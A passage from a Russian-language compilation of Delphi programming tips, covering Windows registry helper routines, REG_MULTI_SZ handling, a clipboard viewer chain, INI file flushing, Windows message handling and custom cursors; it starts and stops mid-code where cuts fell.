    if RegEnumKeys(HKEY_CURRENT_USER, 'Software\My Company', s) then
      ListBox1.Text := s;
    if RegEnumValues(HKEY_CURRENT_USER, 'Software\My Company', s) then
      ListBox1.Text := s;
    if RegConnect('\\server1', HKEY_LOCAL_MACHINE, RemoteKey) then
    begin
      RegGetString(RemoteKey, 'Software\My Company\Test\foo\bar\TestString', s);
      RegDisconnect(RemoteKey);
    end;
  end;

interface

uses Windows;

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;
function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean;
function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean;
function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): boolean;
function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean;
function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;
function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean;
function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean;
function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean;
function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean;
function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean;
function RegValueExists(RootKey: HKEY; Name: String): boolean;
function RegKeyExists(RootKey: HKEY; Name: String): boolean;
function RegDelValue(RootKey: HKEY; Name: String): boolean;
function RegDelKey(RootKey: HKEY; Name: String): boolean;
function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean;
function RegDisconnect(RemoteKey: HKEY): boolean;
function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean;
function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean;

implementation

function LastPos(Needle: Char; Haystack: String): integer;
begin
  for Result := Length(Haystack) downto 1 do
    if Haystack[Result] = Needle then
      Break;
end;

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean;
begin
  Result := (RegConnectRegistry(PChar(MachineName), RootKey, RemoteKey) = ERROR_SUCCESS);
end;

function RegDisconnect(RemoteKey: HKEY): boolean;
begin
  Result := (RegCloseKey(RemoteKey) = ERROR_SUCCESS);
end;

function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean;
var
  SubKey: String;
  n: integer;
  dispo: DWORD;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE,
      nil, hTemp, @dispo) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer;
  var ValSize: Cardinal): boolean;
var
  SubKey: String;
  n: integer;
  MyValType: DWORD;
  hTemp: HKEY;
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then
      begin
        GetMem(Buf, BufSize);
        if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then
        begin
          if ValType = MyValType then
          begin
            PVal := Buf;
            ValSize := BufSize;
            Result := True;
          end else
          begin
            FreeMem(Buf);
          end;
        end else
        begin
          FreeMem(Buf);
        end;
      end;
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1);
end;

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2);
end;

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0), Length(Value) + 1);
end;

function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal));
end;

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value));
end;

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;
var
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then
  begin
    Dec(BufSize);
    SetLength(Value, BufSize);
    if BufSize > 0 then
      CopyMemory(@Value[1], Buf, BufSize);
    FreeMem(Buf);
    Result := True;
  end;
end;

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean;
var
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  if RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) then
  begin
    Dec(BufSize);
    SetLength(Value, BufSize);
    if BufSize > 0 then
      CopyMemory(@Value[1], Buf, BufSize);
    FreeMem(Buf);
    Result := True;
  end;
end;

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean;
var
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  if RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) then
  begin
    Dec(BufSize);
    SetLength(Value, BufSize);
    if BufSize > 0 then
      CopyMemory(@Value[1], Buf, BufSize);
    FreeMem(Buf);
    Result := True;
  end;
end;

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean;
var
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  if RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) then
  begin
    CopyMemory(@Value, Buf, BufSize);
    FreeMem(Buf);
    Result := True;
  end;
end;

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean;
var
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  if RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) then
  begin
    SetLength(Value, BufSize);
    CopyMemory(@Value[1], Buf, BufSize);
    FreeMem(Buf);
    Result := True;
  end;
end;

function RegValueExists(RootKey: HKEY; Name: String): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, nil, nil, nil) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
  ValType: Cardinal;
begin
  Result := False;
  Value := REG_NONE;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if (RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS) then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, @ValType, nil, nil) = ERROR_SUCCESS);
      if Result then
        Value := ValType;
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegKeyExists(RootKey: HKEY; Name: String): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
    begin
      Result := True;
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegDelValue(RootKey: HKEY; Name: String): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegDeleteValue(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegDelKey(RootKey: HKEY; Name: String): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegEnum(RootKey: HKEY; Name: String; var ResultList: String; const DoKeys: Boolean): boolean;
var
  i: integer;
  iRes: integer;
  s: String;
  hTemp: HKEY;
  Buf: Pointer;
  BufSize: Cardinal;
begin
  Result := False;
  ResultList := '';
  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
  begin
    Result := True;
    BufSize := 1024;
    GetMem(buf, BufSize);
    i := 0;
    iRes := ERROR_SUCCESS;
    while iRes = ERROR_SUCCESS do
    begin
      BufSize := 1024;
      if DoKeys then
        iRes := RegEnumKeyEx(hTemp, i, buf, BufSize, nil, nil, nil, nil)
      else
        iRes := RegEnumValue(hTemp, i, buf, BufSize, nil, nil, nil, nil);
      if iRes = ERROR_SUCCESS then
      begin
        SetLength(s, BufSize);
        CopyMemory(@s[1], buf, BufSize);
        if ResultList = '' then
          ResultList := s
        else
          ResultList := Concat(ResultList, #13#10, s);
        inc(i);
      end;
    end;
    FreeMem(buf);
    RegCloseKey(hTemp);
  end;
end;

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean;
begin
  Result := RegEnum(RootKey, Name, ValueList, False);
end;

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean;
begin
  Result := RegEnum(RootKey, Name, KeyList, True);
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как читать REG_MULTI_SZ значение?

uses
  Registry;

procedure ReadREG_MULTI_SZ(const CurrentKey: HKey; const Subkey, ValueName: string;
  Strings: TStrings);
var
  valueType: DWORD;
  valueLen: DWORD;
  p, buffer: PChar;
  key: HKEY;
begin
  // Clear TStrings
  Strings.Clear;
  // open the specified key
  if RegOpenKeyEx(CurrentKey,
                  PChar(Subkey),
                  0, KEY_READ, key) = ERROR_SUCCESS then
  begin
    // retrieve the type and data for a specified value name
    SetLastError(RegQueryValueEx(key,
                 PChar(ValueName),
                 nil,
                 @valueType,
                 nil,
                 @valueLen));
    if GetLastError = ERROR_SUCCESS then
      if valueType = REG_MULTI_SZ then
      begin
        GetMem(buffer, valueLen);
        try
          // receive the value's data (in an array).
          RegQueryValueEx(key,
                          PChar(ValueName),
                          nil,
                          nil,
                          PBYTE(buffer),
                          @valueLen);
          // Add values to stringlist
          p := buffer;
          while p^ <> #0 do
          begin
            Strings.Add(p);
            Inc(p, lstrlen(p) + 1)
          end
        finally
          FreeMem(buffer)
        end
      end
      else
        raise ERegistryException.Create('Stringlist expected/ String Liste erwartet...')
    else
      raise ERegistryException.Create('Cannot Read MULTI_SZ Value/'+
        'Kann den MULTI_SZ Wert nicht lesen...');
  end;
end;

// Test it:

procedure TForm1.Button1Click(Sender: TObject);
begin
  ReadREG_MULTI_SZ(HKEY_CURRENT_USER, 'Software\XYZ', 'Test44', Memo1.Lines);
end;

{******************************************}
{2. by Ralph Friedman }

{
 Question:
 I want to read out the binary-value "problems" of the path
 HKEY_DYN_DATA\Config Manager\Enum\[add the key of a hardware component] to
 detect if a hardware component is troubled and not working right.
 But I cannot handle the ReadBinaryData-Method of TRegistry correct.
 Everytime I use it, it always returns "4" as content of the buffer.
 How do I detect if the content of the binary-key "problems" is
 not "00 00 00 00" but something else like "16 00 00 00" or such?
}

{Answer: Here's an example of ReadBinaryData }

procedure TFrmReadBinary.Button1Click(Sender: TObject);
const
  CKeyName: string = 'System\Setup';
  CValName: string = 'NetcardDlls';
var
  keyGood: boolean;
  p: integer;
  regKey: TRegistry;
  tmpStr: string;
  vSize: integer;
begin
  regKey := TRegistry.Create;
  try
    regKey.RootKey := HKEY_LOCAL_MACHINE;
    keyGood  := regKey.OpenKey(CKeyName, False);

    if (keyGood) then
    begin
      vSize := regKey.GetDataSize(CValName);

      if (vSize > 0) then
      begin
        SetLength(tmpStr, vSize);
        regKey.ReadBinaryData(CValName, tmpstr[1], vSize);

        repeat
          p := Pos(#0, tmpStr);

          if p <> 0 then
          begin
            Delete(tmpStr, p, 1);
            Insert(#13#10, tmpStr, p);
          end;
        until p = 0;

        (*StringReplace(tmpStr, #0, #13#10, [rfReplaceAll]); *)

        ListBox1.Items.Text := tmpStr;
      end;
    end;
  finally
    regKey.Free;
  end;
end;

{******************************************}
{3. by Michael Winter }

procedure RaiseWin32Error(Code: Cardinal);
var
  Error: EWin32Error;
begin
  Error := EWin32Error.CreateResFmt(@SWin32Error, [Code,
    SysErrorMessage(Code)]);
  Error.ErrorCode := Code;
  raise Error;
end;

// Write REG_MULTI_SZ
procedure TForm1.Button1Click(Sender: TObject);
const
  Str = 'multiple'#0'strings'#0'in one'#0'registry'#0'value'#0;
var
  Reg: TRegistry;
  Res: Integer;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    if not Reg.OpenKey('\Software\Test\RegMultiSzTest', true) then
      raise Exception.Create('Can''t open key');
    Res := RegSetValueEx(
      Reg.CurrentKey,     // handle of key to set value for
      'TestValue',        // address of value to set
      0,                  // reserved
      REG_MULTI_SZ,       // flag for value type
      PChar(Str),         // address of value data
      Length(Str) + 1);   // size of value data
    if Res <> ERROR_SUCCESS then
      RaiseWin32Error(Res);
  finally
    Reg.Free;
  end;
end;

// Read REG_MULTI_SZ
procedure TForm1.Button2Click(Sender: TObject);
var
  Reg: TRegistry;
  DataType: Cardinal;
  DataSize: Cardinal;
  Res: Integer;
  Str: String;
  i: Integer;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    if not Reg.OpenKeyReadOnly('\Software\Test\RegMultiSzTest') then
      raise Exception.Create('Can''t open key');
    DataSize := 0;
    Res := RegQueryValueEx(
      Reg.CurrentKey,     // handle of key to query
      'TestValue',        // address of name of value to query
      nil,                // reserved
      @DataType,          // address of buffer for value type
      nil,                // address of data buffer
      @DataSize);         // address of data buffer size
    if Res <> ERROR_SUCCESS then
      RaiseWin32Error(Res);
    if DataType <> REG_MULTI_SZ then
      raise Exception.Create('Wrong data type');
    SetLength(Str, DataSize - 1);
    if DataSize > 1 then begin
      Res := RegQueryValueEx(
        Reg.CurrentKey,     // handle of key to query
        'TestValue',        // address of name of value to query
        nil,                // reserved
        @DataType,          // address of buffer for value type
        PByte(Str),         // address of data buffer
        @DataSize);         // address of data buffer size
      if Res <> ERROR_SUCCESS then
        RaiseWin32Error(Res);
    end;

    for i := Length(Str) downto 1 do
      if Str[i] = #0 then
        Str[i] := #13;
    ShowMessage(Str);
  finally
    Reg.Free;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить событие о смене реестра?

{
  An application can be notified of changes in the data stored in the
  Windows clipboard by registering itself as a Clipboard Viewer.

  Clipboard viewers use two API calls and several messages to communicate
  with the Clipboard viewer chain. SetClipboardViewer adds a window to the
  beginning of the chain and returns a handle to the next viewer in the chain.
  ChangeClipboardChain removes a window from the chain. When a clipboard change occurs,
  the first window in the clipboard viewer chain is notified via the WM_DrawClipboard
  message and must pass the message on to the next window. To do this, our application
  must store the next window along in the chain to forward messages to and also respond
  to the WM_ChangeCBChain message which is sent whenever any other clipboard viewer on
  the system is added or removed to ensure the next window along is valid.
}

unit Unit1;

interface

uses
  Windows, Messages, Forms, Classes, Controls, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender : TObject);
    procedure Button2Click(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure FormDestroy(Sender : TObject);
  private
    FNextClipboardViewer: HWND;
    procedure WMChangeCBChain(var Msg : TWMChangeCBChain); message WM_CHANGECBCHAIN;
    procedure WMDrawClipboard(var Msg : TWMDrawClipboard); message WM_DRAWCLIPBOARD;
  end;

var
  Form1 : TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender : TObject);
begin
  { Initialize variable }
  FNextClipboardViewer := 0;
end;

procedure TForm1.Button1Click(Sender : TObject);
begin
  if FNextClipboardViewer <> 0 then
    MessageBox(0, 'This window is already registered!', nil, 0)
  else
    { Add to clipboard chain }
    FNextClipboardViewer := SetClipboardViewer(Handle);
end;

procedure TForm1.Button2Click(Sender : TObject);
begin
  { Remove from clipboard chain }
  ChangeClipboardChain(Handle, FNextClipboardViewer);
  FNextClipboardViewer := 0;
end;

procedure TForm1.WMChangeCBChain(var Msg : TWMChangeCBChain);
begin
  inherited;
  { mark message as done }
  Msg.Result := 0;
  { the chain has changed }
  if Msg.Remove = FNextClipboardViewer then
    { The next window in the clipboard viewer chain had been removed. We recreate it. }
    FNextClipboardViewer := Msg.Next
  else
    { Inform the next window in the clipboard viewer chain }
    SendMessage(FNextClipboardViewer, WM_CHANGECBCHAIN, Msg.Remove, Msg.Next);
end;

procedure TForm1.WMDrawClipboard(var Msg : TWMDrawClipboard);
begin
  inherited;
  { Clipboard content has changed }
  try
    MessageBox(0, 'Clipboard content has changed!', 'Clipboard Viewer', MB_ICONINFORMATION);
  finally
    { Inform the next window in the clipboard viewer chain }
    SendMessage(FNextClipboardViewer, WM_DRAWCLIPBOARD, 0, 0);
  end;
end;

procedure TForm1.FormDestroy(Sender : TObject);
begin
  if FNextClipboardViewer <> 0 then
  begin
    { Remove from clipboard chain }
    ChangeClipboardChain(Handle, FNextClipboardViewer);
    FNextClipboardViewer := 0;
  end;
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Проблемы ini-файла

Кто-нибудь имел какие-нибудь проблемы при использовании модуля TIniFile? Я думаю здесь какая-то детская проблема с кэшированием!!!

Вот что я делал:

(* c:\test.ini уже существует *)
myIni := TIniFile.Create('c:\test.ini');
With myIni do
begin
  // .... (добавляем новую секцию в test.ini
end;
myIni.Free;
RenameFile('c:\test.ini', 'c:\test1.ini');

Что я получил:

test1.ini НЕ ИМЕЕТ добавленной мною секции;
всякий раз при создании или открытии нового файла в том же самом каталоге с помощью File Manager, 'c:\test.ini' появляется вновь, и у него СУЩЕСТВУЕТ секция, которую я добавлял.
Я решил эту проблему добавлением следующей строки перед IniFile.Free:

WritePrivateProfileString(nil, nil, nil, PChar(IniFileName));

Для получения дополнительной информации обратитесь к электронной справке к разделу 'WritePrivateProfileString'

Автор: Tony Chang

Как указать системе на необходимость сбросить буфер INI-файла на диск

procedure FlushIni(FileName: string);
var
  {$IFDEF WIN32}
  CFileName: array[0..MAX_PATH] of WideChar;
  {$ELSE}
  CFileName: array[0..127] of Char;
  {$ENDIF}
begin
  {$IFDEF WIN32}
  if (Win32Platform = VER_PLATFORM_WIN32_NT) then
    WritePrivateProfileStringW(nil, nil, nil, StringToWideChar(FileName,
    CFileName, MAX_PATH))
  else
    WritePrivateProfileString(nil, nil, nil, PChar(FileName));
  {$ELSE}
  WritePrivateProfileString(nil, nil, nil, StrPLCopy(CFileName,
  FileName, SizeOf(CFileName) - 1));
  {$ENDIF}
end;

Взято с http://delphiworld.narod.ru


Сообщения Windows

Cодержание раздела:

Что такое сообщения Windows?
Системные сообщения (сокращения)
Как отправить сообщение сразу всем элементам управления формы?
Как перехватить события в неклиентской области формы, в заголовке окна, например?
Как сообщить что-нибудь всем формам моего приложения?
Как послать сообщение всем окнам Windows?
Как обрабатывать сообщения New!


Что такое сообщения Windows?

Потребности программиста на Delphi практически полностью удовлетворяются возможностями работы с событиями, предоставляемыми VCL. Но при создании серьёзных нестандартных приложений и особенно при разработке компонентов Delphi вам, безусловно потребуется непосредственно обрабатывать сообщения Windows, после чего генерировать события, соответствующие этим сообщениям.

Что же такое сообщение? Сообщение - это извещение о некотором имевшем место событии, посылаемое системой Windows в адрес приложения. Любые действия пользователя - щелчок мышью, изменение размеров окна приложения, нажатие клавиши на клавиатуре - вынуждают Windows отправить приложению сообщение, извещающее о том, что же произошло в системе. Сообщение представляет собой определённую запись, объявленную в модуле Windows так:

type
  TMsg =  packed record
     hwnd: HWND;      // Дескриптор окна-получателя
     message: UINT;   // Идентификатор сообщения
     WParam: WPARAM;  // 32 Бита дополнительной информации
     LParam: LPARAM;  // Ещё 32 бита дополнительной информации
     time: DWORD;     // Время создания сообщения
     pt: TPoint;      // Положение указателя мыши в момент создания сообщения
end;

Итак, мы познакомились с тем, что представляет собой сообщение в целом, в последующих разделах будут подробно рассмотрены различные типы этих сообщений.

Взято с http://delphiworld.narod.ru


Системные сообщения (сокращения)

BM  - ButtonMode
BN  - Button
BS  - ButtonStyle
CB  - ComboBox
CBN - Combo Box Notifications
CBS - ComboBoxStyle
EM  - EditMessage
ES  - EditStyle
FM  - FileManager
LB  - ListBox
LBN - ListBox Notifications
LBS - ListBoxStyle
MB  - MessageButton (Typen)
PS  - PenStyle
SB  - ScrollBar
SBS - ScrollBarStyle
SM  - SystemMetrics
SPI - SystemParametersInfo
WM  - WindowMessage
WS  - WindowStyle


Как отправить сообщение сразу всем элементам управления формы?

Можно использовать Screen.Forms[i].BroadCast(msg); где [i] - индекс той формы, которой Вы хотите переслать сообщение. BroadCast работает со всеми компонентами, потомками TWinControls и отправляет сообщение всем дочерним компонентам из массива Controls. Если один из дочерних компонентов обрабатывает это сообщение и устанавливает Msg.Result в ненулевое значение - дальнейшая рассылка сообщения останавливается.


Как перехватить события в неклиентской области формы, в заголовке окна, например?

Создайте обработчик одного из сообщений WM_NC (non client - не клиентских) (посмотрите WM_NC в Windows API help). Пример показывает как перехватить вижение мыши во всей неклиенстской области окна (рамка и заголовок).

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
  private
 {Private declarations}
    procedure WMNCMOUSEMOVE(var Message: TMessage); message WM_NCMOUSEMOVE;
  public
 {Public declarations}
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCMOUSEMOVE(var Message: TMessage);
var
  s: string;
begin
  case Message.wParam of
    HTERROR:      s := 'HTERROR';
    HTTRANSPARENT:s := 'HTTRANSPARENT';
    HTNOWHERE:    s := 'HTNOWHERE';
    HTCLIENT:     s := 'HTCLIENT';
    HTCAPTION:    s := 'HTCAPTION';
    HTSYSMENU:    s := 'HTSYSMENU';
    HTSIZE:       s := 'HTSIZE';
    HTMENU:       s := 'HTMENU';
    HTHSCROLL:    s := 'HTHSCROLL';
    HTVSCROLL:    s := 'HTVSCROLL';
    HTMINBUTTON:  s := 'HTMINBUTTON';
    HTMAXBUTTON:  s := 'HTMAXBUTTON';
    HTLEFT:       s := 'HTLEFT';
    HTRIGHT:      s := 'HTRIGHT';
    HTTOP:        s := 'HTTOP';
    HTTOPLEFT:    s := 'HTTOPLEFT';
    HTTOPRIGHT:   s := 'HTTOPRIGHT';
    HTBOTTOM:     s := 'HTBOTTOM';
    HTBOTTOMLEFT: s := 'HTBOTTOMLEFT';
    HTBOTTOMRIGHT:s := 'HTBOTTOMRIGHT';
    HTBORDER:     s := 'HTBORDER';
    HTOBJECT:     s := 'HTOBJECT';
    HTCLOSE:      s := 'HTCLOSE';
    HTHELP:       s := 'HTHELP';
    else          s := '';
  end;
  Form1.Caption := s;
  Message.Result := 0;
end;

end.


Как сообщить что-нибудь всем формам моего приложения?

Как сообщить всем формам моего приложения (в том числе и не видимым в данный момент) об изминении каких-то глобальных значений?

Один из способов - создать пользовательское сообщение и использовать метод preform чтобы разослать его всем формам из массива Screen.Forms.

{Code for Unit1}

const
  UM_MyGlobalMessage = WM_USER + 1;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    procedure FormShow(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
  {Private declarations}
    procedure UMMyGlobalMessage(var AMessage: TMessage); message
      UM_MyGlobalMessage;
  public
  {Public declarations}
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses Unit2;

procedure TForm1.FormShow(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.UMMyGlobalMessage(var AMessage: TMessage);
begin
  Label1.Left := AMessage.WParam;
  Label1.Top := AMessage.LParam;
  Form1.Caption := 'Got It!';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  f: integer;
begin
  for f := 0 to Screen.FormCount - 1 do
    Screen.Forms[f].Perform(UM_MyGlobalMessage, 42, 42);
end;

{Code for Unit2}

const
  UM_MyGlobalMessage = WM_USER + 1;
type
  TForm2 = class(TForm)
    Label1: TLabel;
  private
  {Private declarations}
    procedure UMMyGlobalMessage(var AMessage: TMessage);
      message UM_MyGlobalMessage;
  public
  {Public declarations}
  end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.UMMyGlobalMessage(var AMessage: TMessage);
begin
  Label1.Left := AMessage.WParam;
  Label1.Top := AMessage.LParam;
  Form2.Caption := 'Got It!';
end;


Как послать сообщение всем окнам Windows?

Var
FM_FINDPHOTO: Integer;
// Для использовать hwnd_Broadcast нужно сперва
// зарегистрировать уникальное сообщение
Initialization
FM_FindPhoto:=RegisterWindowMessage('MyMessageToAll');
// Чтобы поймать это сообщение в другом приложении
//(приемнике) нужно перекрыть DefaultHandler
procedure TForm1.DefaultHandler(var Message);
begin
 with TMessage(Message) do
 begin
   if Msg = Fm_FindPhoto then MyHandler(WPARAM,LPARAM)  else
   Inherited DefaultHandler(Message);
 end;

end;

// А тепрь можно
SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0);

Кстати, для посылки сообщения дочерним контролам некоего контрола можно использовать метод Broadcast.

АвторAndrey Burov
(2:463/238.19)

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Как обрабатывать сообщения

Обработка сообщений означает, что приложение будет тем или иным образом реагировать на полученные от операционной системы сообщения. В стандартном приложении Windows обработка сообщений сосредотачивается в процедурах окна. Delphi, частично обрабатывая сообщения, упрощает работу программиста, позволяя вместо одной процедуры для обработки всех типов сообщений создавать независимые процедуры для обработки сообщений различных типов.

Все процедуры обработки сообщений должны отвечать следующим требованиям:

· Процедура должна быть методом объекта
· Процедуре должен передаваться один передаваемый по ссылке параметр, т.е. с помощью описания var. Тип параметра должен быть TMessage или другой, зависящий от типа специализированного сообщения
· Описание процедуры должно включать ключевое слово message, за которым должна следовать константа, задающая тип обрабатываемого сообщения

Вот пример объявления процедуры, обрабатывающей сообщение WM_Paint

procedure WMPaint(var Msg: TWMPaint); message wm_Paint;

[соглашение по присвоению имён требует присваивать обработчику сообщения то же имя, что и имя обрабатываемого сообщения, но без символа подчёркивания и указанием первым знаков имени прописными буквами]

В качестве примера напишем процедуру обработки сообщения WM_Paint, которая вместо перерисовки будет выдавать звуковой сигнал:

Для этого сначала нужно объявить процедуру в частных объявлениях (в области Private объекта TForm1):

procedure WMPaint(var Msg: TWMPaint); message wm_Paint;

Теперь в разделе implementation модуля добавляем определение процедуры (в этом случае указание ключевого слова message не требуется):

procedure TForm1.WMPaint(var Msg: TWMPaint);
begin
  beep;
  inherited;
end;

Обратите внимание на ключевое слово inherited, которое позволяет передать сообщение обработчику этого сообщения, принадлежащему классу-предку, т.е. если бы мы в нашем случае не указали бы это слово, перерисовка окна не осуществлялась бы, а выполнялось бы только только то, что было описано в области реализации нашего приложения, т.е. только бы подавался звуковой сигнал.

Взято с http://delphiworld.narod.ru


Курсоры

Cодержание раздела:

Как использовать свои курсоры?
Как вставить свой курсор из внешнего файла?
Как работать с анимированными курсорами?
Можно ли изменить вид текстового курсора (каретки) edit'а или другого элемента?
Функции и процедуры для работы с курсором New!
Как ограничить перемещение курсора? New!
Частота мигания каретки New!
Как запретить показ курсора в TEdit и ему подобных контролах New!

См. также статьи в других разделах:
CUR ---> BMP


Как использовать свои курсоры?

{$R CURSORS.RES}

const

crZoomIn = 1;
crZoomOut = 2;

Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN');
Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT');

С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры или заменить зеленое на конкретное имя файла(он должен также поставляться с программой).

Взято с сайта http://blackman.wp-club.net/


Как вставить свой курсор из внешнего файла?

Используя процедуру LoadCursorFromFile

var
  h: hcursor;
begin
  h := LoadCursorFromFile('D:\mc.cur');
  Screen.Cursors[1] := h;
  Form1.Cursor := 1;
end;

var h: THandle;
begin
